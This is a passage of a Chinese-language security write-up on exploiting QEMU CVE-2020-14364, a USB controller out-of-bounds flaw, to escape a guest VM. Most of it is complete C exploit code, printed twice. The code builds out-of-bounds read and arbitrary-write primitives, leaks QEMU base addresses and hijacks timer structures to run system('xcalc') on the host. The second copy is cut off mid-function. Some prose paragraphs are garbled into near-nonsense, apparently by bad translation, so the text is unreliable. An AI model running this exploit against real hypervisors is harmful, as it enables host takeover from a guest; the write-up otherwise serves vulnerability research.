new rsp(PCIDevice+8) ===>   [0x00] : pop rax; ret;  将system的plt设为rax 
                            [0x08] : system@plt                               
                            [0x10] : pop rdi; ret;  将"xcalc"赋值为rdi,作为调用system的参数
                       / -- [0x18] : rsp+0x50      
                       |    [0x20] : call rax; 调用rax,也就是system
                       |    [0x28] :                                 
                       |->  [0x50] : "xcalc"

经验值

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/io.h>
#include <stdint.h>
#include <stdbool.h>
struct UHCI_QH * qh;
struct UHCI_TD * td;
char *dmabuf;
char *setup_buf;
unsigned char *data_buf;
unsigned char *data_buf_oob;
uint32_t *entry;
uint64_t dev_addr;
uint64_t data_buf_addr;
uint64_t USBPort_addr; 

#define UHCI_CMD_FGR      (1 << 4)
#define UHCI_CMD_EGSM     (1 << 3)
#define UHCI_CMD_GRESET   (1 << 2)
#define UHCI_CMD_HCRESET  (1 << 1)
#define UHCI_CMD_RS       (1 << 0)      //run /Stop

图片[5]-PortalLab | 多种方法利用QEMU-CVE-2020-14364(二) – 作者:北京星阑科技有限公司-安全小百科

#define UHCI_PORT_READ_ONLY    (0x1bb)
#define UHCI_PORT_WRITE_CLEAR  (UHCI_PORT_CSC | UHCI_PORT_ENC)
#define TD_CTRL_ACTIVE  (1 << 23)  //uhci_handle_td中需要td->ctrl为这个值不然过不去
#define TD_CTRL_SPD     (1 << 29)  //we need this to allow we send more than two

#define PORTSC_PRESET       (1 << 8)     // Port Reset
#define PORTSC_PED          (1 << 2)     // Port Enable/Disable
#define USBCMD_RUNSTOP      (1 << 0)     // run / Stop
#define USBCMD_PSE          (1 << 4)     // Periodic Schedule Enable
#define USB_DIR_OUT         0
#define USB_DIR_IN          0x80
#define QTD_TOKEN_ACTIVE    (1 << 7)
#define USB_TOKEN_SETUP     0x2d
#define USB_TOKEN_IN        0x69 /* device -> host */
#define USB_TOKEN_OUT       0xe1 /* host -> device */
#define QTD_TOKEN_TBYTES_SH 21
#define QTD_TOKEN_PID_SH    8

typedef struct USBDevice USBDevice;
typedef struct USBEndpoint USBEndpoint;
struct USBEndpoint {
    uint8_t nr;
    uint8_t pid;
    uint8_t type;
    uint8_t ifnum;
    int max_packet_size;
    int max_streams;
    bool pipeline;
    bool halted;
    USBDevice *dev;
    USBEndpoint *fd;
    USBEndpoint *bk;
};

struct USBDevice {
    int32_t remote_wakeup;
    int32_t setup_state;
    int32_t setup_len;
    int32_t setup_index;

    USBEndpoint ep_ctl;
    USBEndpoint ep_in[15];
    USBEndpoint ep_out[15];
};
typedef struct UHCI_TD {
    uint32_t link;
    uint32_t ctrl; /* see TD_CTRL_xxx */
    uint32_t token;
    uint32_t buffer;
} UHCI_TD;

typedef struct UHCI_QH {
    uint32_t link;
    uint32_t el_link;
} UHCI_QH;


/* 板子操作 */
uint64_t virt2phys(void* p)
{
    uint64_t virt = (uint64_t)p;

    // Assert page alignment
    int fd = open("/proc/self/pagemap", O_RDONLY);
    if (fd == -1)
        die("open");
    uint64_t offset = (virt / 0x1000) * 8;
    lseek(fd, offset, SEEK_SET);

    uint64_t phys;
    if (read(fd, &phys, 8 ) != 8)
        die("read");
    // Assert page present

    phys = (phys & ((1ULL << 54) - 1)) * 0x1000+(virt&0xfff);
    return phys;
}

uint32_t pmio_port = 0xc040;

void die(const char* msg)
{
    perror(msg);
    exit(-1);
}

uint32_t pmio_write(uint32_t addr, uint32_t value)
{
    outl(value,pmio_port+addr);
}

uint32_t pmio_read(uint32_t addr)
{
    return (uint32_t)inl(pmio_port+addr);
}

void init(){
    /* 映射一块dmabufs 也就是dma模式的读写,读写的数据都在这块内存上*/
    dmabuf = mmap(0, 0x3000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
    if (dmabuf == MAP_FAILED)
        die("mmap");
    /* 上锁,防止被调度 */
    mlock(dmabuf, 0x3000);

    td = dmabuf;
    qh = dmabuf + 0x100;

    setup_buf = dmabuf + 0x300;
    data_buf = dmabuf + 0x1000;
    struct_dma = dmabuf + 0x2000;
    printf("dmabuf addr: 0x%llx\n", virt2phys(dmabuf));
}

void reset_enable_port(){
    /* 对usb设备0x64偏移处进行写入操作,0x64 的偏移对应到 portsc
        对该字段写操作会调用到ehci_port_write */
    // pmio_write(0, UHCI_CMD_RS);
    pmio_write(0, 0 | UHCI_CMD_EGSM | UHCI_CMD_HCRESET);
}
//这个函数在上面分析过了,相当于告诉qemu我参数设置好了,可以触发漏洞函数了
void set_UHCIState(){
    int i = 0x10;
    //#define NB_PORTS 2
    for(;i<=0x1f;i++)
        pmio_write(i, UHCI_PORT_CCS | UHCI_PORT_RESET | UHCI_PORT_EN);
    pmio_write(6, 0);
    pmio_write(8, virt2phys(td)); // fl_base_addr  maybe we can make it stright to qh or td
    // printf("the addr of dmabuf:0x%lx\n",virt2phys(dmabuf));
    pmio_write(0, UHCI_CMD_RS);
    sleep(1);
}

void set_qh(){
    qh->el_link = virt2phys(td);
    qh->link = virt2phys(td);
    // printf("the addr of td:0x%lx\n",qh->link);
}

void init_state(){
    //为了能走到漏洞函数那设置的条件

    reset_enable_port();
    //同上

    set_qh();
    //设置越界长度   
    setup_buf[6] = 0xff;
    setup_buf[7] = 0x0;
    //setup the index
    setup_buf[4] = 0xffff & 0xff;
    setup_buf[5] = (0xffff >> 8) & 0xff;
    /* 我们调用do_token_setup 设置s->setup_len 的长度为越界长度
        需要进入do_token_setup 需要通过设置qtd->token值 */
    td->link = virt2phys(td);
    td->ctrl = TD_CTRL_ACTIVE | TD_CTRL_SPD;
    td->token = USB_TOKEN_SETUP | 0x7 << 21  ;
    td->buffer = virt2phys(setup_buf);
    // printf("the addr of setup_buf:0x%lx\n",td->buffer);
    puts("set_UHCIState");
    set_UHCIState();
}


//设置越界长度,调用do_token_setup 
void set_length(uint16_t len, uint8_t option){
    reset_enable_port();
    set_qh();
    setup_buf[0] = USB_TOKEN_IN | option;
    // setup_buf[4] = 0xffff & 0xff;
    // setup_buf[5] = (0xffff >> 8) & 0xff;
    //set the length
    setup_buf[6] = len & 0xff;
    setup_buf[7] = (len >> 8 ) & 0xff;
    td->ctrl =  TD_CTRL_ACTIVE | TD_CTRL_SPD; 
    td->token = USB_TOKEN_SETUP | 0x7 << 21;
    td->buffer = virt2phys(setup_buf);
    set_UHCIState();
}
//越界读,调用do_token_in
void do_copy_read(uint16_t len){
    reset_enable_port();
    set_qh();

    //设置token进入do_token_in   
    td->ctrl =  TD_CTRL_ACTIVE | TD_CTRL_SPD;      
    td->token =  USB_TOKEN_IN | (len-1) << 21; //设置p->iov.size
    td->buffer = virt2phys(data_buf);

    set_UHCIState();
}
//越界写,调用do_token_out
void do_copy_write(int offset, unsigned int setup_len, unsigned int setup_index, uint16_t len){

    reset_enable_port();
    set_qh();
    if(len>8){
        *(unsigned long *)(data_buf + offset) = 0x0000000200000002; // 覆盖成原先的内容
        *(unsigned int *)(data_buf + 0x8 +offset) = setup_len;
        *(unsigned int *)(data_buf + 0xc+ offset) = setup_index;
    }

    td->ctrl =  TD_CTRL_ACTIVE | TD_CTRL_SPD;
    td->token =  USB_TOKEN_OUT | (len-1) << 21; 
    td->buffer = virt2phys(data_buf);

    set_UHCIState();
}

void setup_state_data(){
    set_length(0x500, USB_DIR_OUT);
}
//任意写
void arb_write(uint64_t target_addr, uint64_t payload)
{
    setup_state_data();
    unsigned long offset = target_addr - data_buf_addr;
    set_length(0x1010, USB_DIR_OUT);
    puts("set index");
    do_copy_write(0, offset+0x8, offset-0x1010, 0x400);
    do_copy_write(0, offset+0x8, offset-0x1010, 0x400);
    do_copy_write(0, offset+0x8, offset-0x1010, 0x400);
    do_copy_write(0, offset+0x8, offset-0x1010, 0x400);

    do_copy_write(0, offset+0x8, offset-0x10, 0x10);

    *(unsigned long *)(data_buf) = payload;
    do_copy_write(0, 0xffff, 0, sizeof(payload));
}

//任意读     impossible!!!!!
unsigned long arb_read(uint64_t target_addr)
{
    setup_state_data();

    set_length(0x1010, USB_DIR_OUT);
    puts("setup_index");
    // getchar();
    do_copy_write(0, 0x1010, 0xfffffff8-0x1010, 0x400);
    do_copy_write(0, 0x1010, 0xfffffff8-0x1010, 0x400);
    do_copy_write(0, 0x1010, 0xfffffff8-0x1010, 0x400);
    do_copy_write(0, 0x1010, 0xfffffff8-0x1010, 0x400);
    //将setup_len 设置成0x1010,将setup_index设置成0xfffffff8-0x1010, 
    //因为usb_packet_copy后面还有s->setup_index += len 操作, s->setup_index 就会被设置成0xfffffff8 (-8)
    do_copy_write(0, 0x1010, 0xfffffff8-0x10, 0x10);

    *(unsigned long *)(data_buf) = 0x2000000000000080; // set setup[0] -> USB_DIR_IN
    unsigned int target_offset = target_addr - data_buf_addr;
    /*
    从data_buf-8处开始写,覆盖了setup字段,将setup[0] 设置成USB_DIR_IN,并且将setup_index 
    覆盖成目标地址偏移-0x1018,因为也要经过s->setup_index += len;操作。并且本次进入case SETUP_STATE_DATA时:
    len = s->setup_len - s->setup_index 操作(0x1010-(-0x8)=0x1018),使得len变成0x1018
    */

    do_copy_write(0x8, 0xffff, target_offset - 0x18, 0x18);
    do_copy_read(0x400); // oob read
    return *(unsigned long *)(data_buf);
}

int main()
{

    init();
    iopl(3);

    sleep(3);
    init_state();
    set_length(0x2000, USB_DIR_IN);
    for(int i = 0; i < 4; i++)
        do_copy_read(0x400);  //set index 0x1000
    do_copy_read(0x600);    //read 0x600 to dmabuf

    struct USBDevice* usb_device_tmp=dmabuf+0x1004;
    struct USBDevice usb_device;
    // printf("sizeof(USBDevice):0x%lx\n", sizeof(USBDevice));
    memcpy(&usb_device,usb_device_tmp,sizeof(USBDevice));

    dev_addr = usb_device.ep_ctl.dev;
    data_buf_addr = dev_addr + 0xdc;
    printf("USBDevice dev_addr: 0x%llx\n", dev_addr);
    printf("USBDevice->data_buf: 0x%llx\n", data_buf_addr);

    uint64_t *tmp=dmabuf+0x14f4+8;  // const USBDescDevice *device;

    long long leak_addr = *tmp;
    if(leak_addr == 0){
        printf("INIT DOWN,DO IT AGAIN\n");
        return 0;
    }
    printf("the leak_addr: 0x%lx\n", leak_addr);

    uint64_t base = leak_addr - 0x1013000;   //qemu base
    uint64_t system_plt = base + 0x2B0F80;   //get this by ida
    printf("leak base address : 0x%llx!\n", base);
    printf("leak system_plt address: 0x%llx!\n", system_plt);
    
    // uint64_t pop_rsp = base + 0x4866ab; // pop rsp; pop rbp; ret;
    // uint64_t rop_start = base + 0xC2CB24; //push rax ; jp 0xc2cab1 ; jmp qword ptr [rax + 0x34]
    // uint64_t pop_rax = base + 0x19460; // pop rax; ret;
    // uint64_t pop_rdi = base + 0x6193d0; // pop rdi; ret; 
    // uint64_t call_rax = base + 0x73a1f5; // call rax;

    uint64_t qemu_mutex_lock_func = base + 0x1207940;
    uint64_t main_loop_tlg = base + 0x1254680;
    printf("the main_loop_tlg ptr to 0x%llx\n", main_loop_tlg);

    unsigned long bss = base+0x1246070;
    printf("the bss to 0x%llx\n", bss);
    unsigned long QEMUTimerList = bss+0x10;
    printf("the struct_addr in 0x%llx\n", QEMUTimerList);
    puts("set clock");
    arb_write(QEMUTimerList, base+0x12546a0);   //clock
    puts("set active_timers_lock");
    arb_write(QEMUTimerList+0x34+8, 1);     //QEMUTimerList->active_timers_lock
    // puts("set initialized");
    // arb_write(QEMUTimerList+0x34+8, 1);
    puts("set active_timers");
    arb_write(QEMUTimerList+0x40, bss+0x100);  //QEMUTimerList->active_timers
    puts("set notify_cb");
    arb_write(QEMUTimerList+0x58, base+0x111a58);   //QEMUTimerList->notify_cb
    puts("set notify_opaque");                      
    arb_write(QEMUTimerList+0x60, bss+0x300);       //QEMUTimer->opaque
    puts("timer_done_env");
    arb_write(QEMUTimerList+0x6c, 0x1); 

    unsigned long QEMUTimer = bss+0x100;
    // printf("the sizeof(uint64_t) %d\n", sizeof(QEMUTimer));  //8
    arb_write(QEMUTimer+8, QEMUTimerList);  //qemutimer->timer_list
    arb_write(QEMUTimer+0x10, system_plt);  //cb
    arb_write(QEMUTimer+0x18, bss+0x300);  //opaque
    arb_write(bss+0x300, 0x636c616378);   //"xcalc"
    
    puts("set main_loop_tlg");
    // getchar();
    arb_write(main_loop_tlg, QEMUTimerList);   
    puts("alright");
    arb_write(qemu_mutex_lock_func, system_plt);
    // getchar();
    sleep(5);
};

有的任意读是不能用的。

图片[6]-PortalLab | 多种方法利用QEMU-CVE-2020-14364(二) – 作者:北京星阑科技有限公司-安全小百科

第四种思路

这次的利用与第三种不同,不需要借助其他的 pci 设备

启动脚本

./qemu-4.0.0/x86_64-softmmu/qemu-system-x86_64 \
    -enable-kvm \
    -append "console=ttyS0 root=/dev/sda rw"  \
    -m 1G \
    -kernel ./linux/arch/x86/boot/bzImage  \
    -hda ./rootfs.img \
    -device e1000,netdev=net0 \
    -netdev user,id=net0,hostfwd=tcp::33333-:22 \
    -usb \
    -device usb-tablet,bus=usb-bus.0\
    -nographic

QEMU 有一个闹钟机制,其中的函数是选择性调用的,而其相关参数是个别原因,联想到这个漏洞在 usb1 下可以利用任意写,可以在某个个体上为所欲为。

源码分析

看下timerlist_run_timers以及调用链,直接源中标出调用链,都是小编一个跟过去看后分析出来的调用链。

图片[7]-PortalLab | 多种方法利用QEMU-CVE-2020-14364(二) – 作者:北京星阑科技有限公司-安全小百科

对于变量main_loop_tlg的声明可查看链接:

https://elixir.bootlin.com/qemu/v4.0.0/source/util/qemu-timer.c#L58

一些结构体

想利用那个函数追踪看写结构体,小把它们贴在下面,连带在中查的偏移。

struct QEMUTimerListGroup {
    QEMUTimerList *tl[QEMU_CLOCK_MAX];
};

struct QEMUTimerList {
    QEMUClock *clock;
    QemuMutex active_timers_lock;
    QEMUTimer *active_timers;
    QLIST_ENTRY(QEMUTimerList) list;
    QEMUTimerListNotifyCB *notify_cb;
    void *notify_opaque;

    /* lightweight method to mark the end of timerlist's running */
    QemuEvent timers_done_ev;
};
00000000 QEMUTimerList   struc ; (sizeof=0x70, align=0x8, copyof_325)
00000000 clock           dq ?                    ; offset
00000008 active_timers_lock QemuMutex_0 ?
00000040 active_timers   dq ?                    ; offset
00000048 list            $30880CACBE280706FC09BACC7C01742E ?
00000058 notify_cb       dq ?                    ; offset
00000060 notify_opaque   dq ?                    ; offset
00000068 timers_done_ev  QemuEvent_0 ?
00000070 QEMUTimerList   ends
00000070

struct QEMUTimer {
    int64_t expire_time;        /* in nanoseconds */
    QEMUTimerList *timer_list;
    QEMUTimerCB *cb;      //<------system_plt
    void *opaque;        //<------"xcale"
    QEMUTimer *next;
    int attributes;
    int scale;
};
00000000 QEMUTimer       struc ; (sizeof=0x30, align=0x8, copyof_1103)
00000000 expire_time     dq ?
00000008 timer_list      dq ?                    ; offset
00000010 cb              dq ?                    ; offset
00000018 opaque          dq ?                    ; offset
00000020 next            dq ?                    ; offset
00000028 attributes      dd ?
0000002C scale           dd ?
00000030 QEMUTimer       ends
00000030
    
pwndbg> p *(QEMUTimer*)0x55f705b1a4e0
$3 = {
  expire_time = 1622073600346841000, 
  timer_list = 0x55f705383710, 
  cb = 0x55f702bb2b5c <rtc_update_timer>, 
  opaque = 0x55f7052fa050, 
  next = 0x0, 
  attributes = 0, 
  scale = 1
}

QEMUTimerList
$7 = {
  clock = 0x55b5268c66a0 <qemu_clocks>,  base+0x12546a0
  active_timers_lock = {
    lock = pthread_mutex_t = {
      Type = Normal,
      Status = Not acquired,
      Robust = No,
      Shared = No,
      Protocol = None
    }, 
    file = 0x0, 
    line = 0, 
    initialized = true
  }, 
  active_timers = 0x0, 
  list = {
    le_next = 0x0, 
    le_prev = 0x55b528589a58   heap+0x111a58
  }, 
  notify_cb = 0x55b525975c52 <qemu_timer_notify_cb>,   base+0x303c52
  notify_opaque = 0x0, 
  timers_done_ev = {
    value = 0, 
    initialized = true
  }
}
00000000 QemuMutex_0     struc ; (sizeof=0x38, align=0x8, copyof_202)
00000000                                         ; XREF: .bss:map_client_list_lock/r
00000000                                         ; .bss:qemu_global_mutex/r ...
00000000 lock            pthread_mutex_t ?
00000028 file            dq ?                    ; offset
00000030 line            dd ?
00000034 initialized     db ?
00000035                 db ? ; undefined
00000036                 db ? ; undefined
00000037                 db ? ; undefined
00000038 QemuMutex_0     ends

利用思路

然后因为没有任意读地址,所以加上变量里套的结构体QEMUTimer List变量是个轨迹,想直接通过写里面的结构体现实,我们只能改变引导的值,想什么时候才能,小编想过用累计读,一次读0x400,但是看地址,他似乎在data_buf上面。

发现有main_loop_tlg这个局部变量的地址,就是针对对应的值因为地址范围问题,在QEMU中的用户状态程序无法访问其地址,所以对读其地址然后修改结构体中的关键值死心了。

所以想其他的方法就是可以结构体,然后main_loop_这个的值,就是希望我们可以修改结构体,但是的难点在调用可能的函数之前的函数其他会访问结构体中其他一些参数,所以明天也要去直接结构体中的完整点,我们还要补充上合理的数据,我是找参数里有他的函数,然后看此时结构体里的值还有啥,启动,结构体中初始化后的内容在上面贴出来了。

幸运的是里面的值最多为0或1,添加的可以通过QEMU加载的基址和堆的基址加固定偏移得到。

晴天的结构哪放呢,电视是明天的mmap出的dmabuf,但是那个地址任意写会崩塌,所以选择了另外两种方法,堆或者bs段上。

是,USB 设备结构图幸福就是在堆上的,而原来在前面得到了它的基址,数据缓冲区也是在堆上那块,其0x1000 的大空间,我们也有它的基址,所以想到data_buf,但由于原因,可能导致各种突发事件,最终选择了写bss上,找一bss,随便找个片子的空白段,然后我们就开造!

mybss|__________________________________  |
         mybss+0x10|       QEMUTimerList      |
   mybss+0x10+0x34+8| QEMUTimerList->active_timer_lock  |
         mybss+0x40|    QEMUTimerList->active_timers  |
          mybss+0x58|     QEMUTimerList->notify_cb    |
          mybss+0x60|      QEMUTimer->opaque      |
          mybss+0x6c|QEMUTimer->timer_done_env->initialized|
          
         mybss+0x100|        QEMUTimer          |
       mybss+0x100+8|     QEMUTimer->timer_list      |
    mybss+0x100+0x10|    system_plt(QEMUTimer->cb)  |
    mybss+0x100+0x18|     bss+0x300(QEMUTimer->opaque) |
    
       mybss+0x300|      0x636c616378("xcalc")     |

t imerlist_run_timers中调用有函数路径,其函数和参数完全可控,即cb(不透明),可以将其覆盖为系统以及“xcalc”;

通过ida找片大片空的bss段,然后将上面画的晴天体口在上面,用构造的任意写原语写;

将main_loop_tlg结构体中第一个tl路径指向选定的bss+10,也即QEMUTimerList开头;

经过上述步骤之后再运行timerlist_run_timers中的cb()时触发我们想象的system(“xcalc”)。

经验值

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/io.h>
#include <stdint.h>
#include <stdbool.h>
struct UHCI_QH * qh;
struct UHCI_TD * td;
char *dmabuf;
char *setup_buf;
unsigned char *data_buf;
unsigned char *struct_dma;
uint32_t *entry;
uint64_t dev_addr;
uint64_t data_buf_addr;
uint64_t USBPort_addr; 

#define UHCI_CMD_FGR      (1 << 4)
#define UHCI_CMD_EGSM     (1 << 3)
#define UHCI_CMD_GRESET   (1 << 2)
#define UHCI_CMD_HCRESET  (1 << 1)
#define UHCI_CMD_RS       (1 << 0)      //run /Stop

图片[8]-PortalLab | 多种方法利用QEMU-CVE-2020-14364(二) – 作者:北京星阑科技有限公司-安全小百科

#define UHCI_PORT_READ_ONLY    (0x1bb)
#define UHCI_PORT_WRITE_CLEAR  (UHCI_PORT_CSC | UHCI_PORT_ENC)
#define TD_CTRL_ACTIVE  (1 << 23)  //uhci_handle_td中需要td->ctrl为这个值不然过不去
#define TD_CTRL_SPD     (1 << 29)  //we need this to allow we send more than two

#define PORTSC_PRESET       (1 << 8)     // Port Reset
#define PORTSC_PED          (1 << 2)     // Port Enable/Disable
#define USBCMD_RUNSTOP      (1 << 0)     // run / Stop
#define USBCMD_PSE          (1 << 4)     // Periodic Schedule Enable
#define USB_DIR_OUT         0
#define USB_DIR_IN          0x80
#define QTD_TOKEN_ACTIVE    (1 << 7)
#define USB_TOKEN_SETUP     0x2d
#define USB_TOKEN_IN        0x69 /* device -> host */
#define USB_TOKEN_OUT       0xe1 /* host -> device */
#define QTD_TOKEN_TBYTES_SH 21
#define QTD_TOKEN_PID_SH    8

typedef struct USBDevice USBDevice;
typedef struct USBEndpoint USBEndpoint;
struct USBEndpoint {
    uint8_t nr;
    uint8_t pid;
    uint8_t type;
    uint8_t ifnum;
    int max_packet_size;
    int max_streams;
    bool pipeline;
    bool halted;
    USBDevice *dev;
    USBEndpoint *fd;
    USBEndpoint *bk;
};

struct USBDevice {
    int32_t remote_wakeup;
    int32_t setup_state;
    int32_t setup_len;
    int32_t setup_index;

    USBEndpoint ep_ctl;
    USBEndpoint ep_in[15];
    USBEndpoint ep_out[15];
};
typedef struct UHCI_TD {
    uint32_t link;
    uint32_t ctrl; /* see TD_CTRL_xxx */
    uint32_t token;
    uint32_t buffer;
} UHCI_TD;

typedef struct UHCI_QH {
    uint32_t link;
    uint32_t el_link;
} UHCI_QH;


/* 板子操作 */
uint64_t virt2phys(void* p)
{
    uint64_t virt = (uint64_t)p;

    // Assert page alignment
    int fd = open("/proc/self/pagemap", O_RDONLY);
    if (fd == -1)
        die("open");
    uint64_t offset = (virt / 0x1000) * 8;
    lseek(fd, offset, SEEK_SET);

    uint64_t phys;
    if (read(fd, &phys, 8 ) != 8)
        die("read");
    // Assert page present

    phys = (phys & ((1ULL << 54) - 1)) * 0x1000+(virt&0xfff);
    return phys;
}

uint32_t pmio_port = 0xc040;

void die(const char* msg)
{
    perror(msg);
    exit(-1);
}

uint32_t pmio_write(uint32_t addr, uint32_t value)
{
    outl(value,pmio_port+addr);
}

uint32_t pmio_read(uint32_t addr)
{
    return (uint32_t)inl(pmio_port+addr);
}

void init(){
    /* 映射一块dmabufs 也就是dma模式的读写,读写的数据都在这块内存上*/
    dmabuf = mmap(0, 0x3000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
    if (dmabuf == MAP_FAILED)
        die("mmap");
    /* 上锁,防止被调度 */
    mlock(dmabuf, 0x3000);

    td = dmabuf;
    qh = dmabuf + 0x100;

    setup_buf = dmabuf + 0x300;
    data_buf = dmabuf + 0x1000;
    struct_dma = dmabuf + 0x2000;
    printf("dmabuf addr: 0x%llx\n", virt2phys(dmabuf));
}

void reset_enable_port(){
    /* 对usb设备0x64偏移处进行写入操作,0x64 的偏移对应到 portsc
        对该字段写操作会调用到ehci_port_write */
    // pmio_write(0, UHCI_CMD_RS);
    pmio_write(0, 0 | UHCI_CMD_EGSM | UHCI_CMD_HCRESET);
}
//这个函数在上面分析过了,相当于告诉qemu我参数设置好了,可以触发漏洞函数了
void set_UHCIState(){
    int i = 0x10;
    //#define NB_PORTS 2
    for(;i<=0x1f;i++)
        pmio_write(i, UHCI_PORT_CCS | UHCI_PORT_RESET | UHCI_PORT_EN);
    pmio_write(6, 0);
    pmio_write(8, virt2phys(td)); // fl_base_addr  maybe we can make it stright to qh or td
    // printf("the addr of dmabuf:0x%lx\n",virt2phys(dmabuf));
    pmio_write(0, UHCI_CMD_RS);
    sleep(1);
}

void set_qh(){
    qh->el_link = virt2phys(td);
    qh->link = virt2phys(td);
    // printf("the addr of td:0x%lx\n",qh->link);
}

void init_state(){
    //为了能走到漏洞函数那设置的条件

    reset_enable_port();
    //同上

    set_qh();
    //设置越界长度   
    setup_buf[6] = 0xff;
    setup_buf[7] = 0x0;
    //setup the index
    setup_buf[4] = 0xffff & 0xff;
    setup_buf[5] = (0xffff >> 8) & 0xff;
    /* 我们调用do_token_setup 设置s->setup_len 的长度为越界长度
        需要进入do_token_setup 需要通过设置qtd->token值 */
    td->link = virt2phys(td);
    td->ctrl = TD_CTRL_ACTIVE | TD_CTRL_SPD;
    td->token = USB_TOKEN_SETUP | 0x7 << 21  ;
    td->buffer = virt2phys(setup_buf);
    // printf("the addr of setup_buf:0x%lx\n",td->buffer);
    puts("set_UHCIState");
    set_UHCIState();
}


//设置越界长度,调用do_token_setup 
void set_length(uint16_t len, uint8_t option){
    reset_enable_port();
    set_qh();
    setup_buf[0] = USB_TOKEN_IN | option;
    // setup_buf[4] = 0xffff & 0xff;
    // setup_buf[5] = (0xffff >> 8) & 0xff;
    //set the length
    setup_buf[6] = len & 0xff;
    setup_buf[7] = (len >> 8 ) & 0xff;
    td->ctrl =  TD_CTRL_ACTIVE | TD_CTRL_SPD; 
    td->token = USB_TOKEN_SETUP | 0x7 << 21;
    td->buffer = virt2phys(setup_buf);
    set_UHCIState();
}
//越界读,调用do_token_in
void do_copy_read(uint16_t len){
    reset_enable_port();
    set_qh();

    //设置token进入do_token_in   
    td->ctrl =  TD_CTRL_ACTIVE | TD_CTRL_SPD;      
    td->token =  USB_TOKEN_IN | (len-1) << 21; //设置p->iov.size
    td->buffer = virt2phys(data_buf);

    set_UHCIState();
}
//越界写,调用do_token_out
void do_copy_write(int offset, unsigned int setup_len, unsigned int setup_index, uint16_t len){

    reset_enable_port();
    set_qh();
    if(len>8){
        *(unsigned long *)(data_buf + offset) = 0x0000000200000002; // 覆盖成原先的内容
        *(unsigned int *)(data_buf + 0x8 +offset) = setup_len;
        *(unsigned int *)(data_buf + 0xc+ offset) = setup_index;
    }

    td->ctrl =  TD_CTRL_ACTIVE | TD_CTRL_SPD;
    td->token =  USB_TOKEN_OUT | (len-1) << 21; 
    td->buffer = virt2phys(data_buf);

    set_UHCIState();
}

void setup_state_data(){
    set_length(0x500, USB_DIR_OUT);
}
//任意写
void arb_write(uint64_t target_addr, uint64_t payload)
{
    setup_state_data();
    unsigned long offset = target_addr - data_buf_addr;
    set_length(0x1010, USB_DIR_OUT);
    puts("set index");
    do_copy_write(0, offset+0x8, offset-0x1010, 0x400);
    do_copy_write(0, offset+0x8, offset-0x1010, 0x400);
    do_copy_write(0, offset+0x8, offset-0x1010, 0x400);
    do_copy_write(0, offset+0x8, offset-0x1010, 0x400);

    do_copy_write(0, offset+0x8, offset-0x10, 0x10);

    *(unsigned long *)(data_buf) = payload;
    do_copy_write(0, 0xffff, 0, sizeof(payload));
}

//任意读     impossible!!!!!
unsigned long arb_read(uint64_t target_addr)
{
    setup_state_data();

    set_length(0x1010, USB_DIR_OUT);
    puts("setup_index");
    // getchar();
    do_copy_write(0, 0x1010, 0xfffffff8-0x1010, 0x400);
    do_copy_write(0, 0x1010, 0xfffffff8-0x1010, 0x400);
    do_copy_write(0, 0x1010, 0xfffffff8-0x1010, 0x400);
    do_copy_write(0, 0x1010, 0xfffffff8-0x1010, 0x400);
    //将setup_len 设置成0x1010,将setup_index设置成0xfffffff8-0x1010, 
    //因为usb_packet_copy后面还有s->setup_index += len 操作, s->setup_index 就会被设置成0xfffffff8 (-8)
    do_copy_write(0, 0x1010, 0xfffffff8-0x10, 0x10);

    *(unsigned long *)(data_buf) = 0x2000000000000080; // set setup[0] -> USB_DIR_IN
    unsigned int target_offset = target_addr - data_buf_addr;
    /*
    从data_buf-8处开始写,覆盖了setup字段,将setup[0] 设置成USB_DIR_IN,并且将setup_index 
    覆盖成目标地址偏移-0x1018,因为也要经过s->setup_index += len;操作。并且本次进入case SETUP_STATE_DATA时:
    len = s->setup_len - s->setup_index 操作(0x1010-(-0x8)=0x1018),使得len变成0x1018
    */

    do_copy_write(0x8, 0xffff, target_offset - 0x18, 0x18);
    do_copy_read(0x400); // oob read
    return *(unsigned long *)(data_buf);
}

int main()
{

    init();
    iopl(3);

    sleep(3);
    init_state();
    set_length(0x2000, USB_DIR_IN);
    for(int i = 0; i < 4; i++)
        do_copy_read(0x400);  //set index 0x1000
    do_copy_read(0x600);    //read 0x600 to dmabuf

    struct USBDevice* usb_device_tmp=dmabuf+0x1004;
    struct USBDevice usb_device;
    // printf("sizeof(USBDevice):0x%lx\n", sizeof(USBDevice));
    memcpy(&usb_device,usb_device_tmp,sizeof(USBDevice));

    dev_addr = usb_device.ep_ctl.dev;
    data_buf_addr = dev_addr + 0xdc;
    printf("USBDevice dev_addr: 0x%llx\n", dev_addr);
    printf("USBDevice->data_buf: 0x%llx\n", data_buf_addr);

    uint64_t *tmp=dmabuf+0x14f4+8;  // const USBDescDevice *device;

    long long leak_addr = *tmp;
    if(leak_addr == 0){
        printf("INIT DOWN,DO IT AGAIN\n");
        return 0;
    }
    printf("the leak_addr: 0x%lx\n", leak_addr);

    uint64_t base = leak_addr - 0x1013000;   //qemu base
    uint64_t system_plt = base + 0x2B0F80;   //get this by ida
    printf("leak base address : 0x%llx!\n", base);
    printf("leak system_plt address: 0x%llx!\n", system_plt);
    
    // uint64_t pop_rsp = base + 0x4866ab; // pop rsp; pop rbp; ret;
    // uint64_t rop_start = base + 0xC2CB24; //push rax ; jp 0xc2cab1 ; jmp qword ptr [rax + 0x34]
    // uint64_t pop_rax = base + 0x19460; // pop rax; ret;
    // uint64_t pop_rdi = base + 0x6193d0; // pop rdi; ret; 
    // uint64_t call_rax = base + 0x73a1f5; // call rax;

    uint64_t qemu_mutex_lock_func = base + 0x1207940;
    uint64_t main_loop_tlg = base + 0x1254680;
    printf("the main_loop_tlg ptr to 0x%llx\n", main_loop_tlg);

    unsigned long bss = base+0x1246070;
    printf("the bss to 0x%llx\n", bss);
    unsigned long QEMUTimerList = bss+0x10;
    printf("the struct_addr in 0x%llx\n", QEMUTimerList);
    puts("set clock");
    arb_write(QEMUTimerList, base+0x12546a0);   //clock
    puts("set active_timers_lock");
    arb_write(QEMUTimerList+0x34+8, 1);     //QEMUTimerList->active_timers_lock
    // puts("set initialized");
    // arb_write(QEMUTimerList+0x34+8, 1);
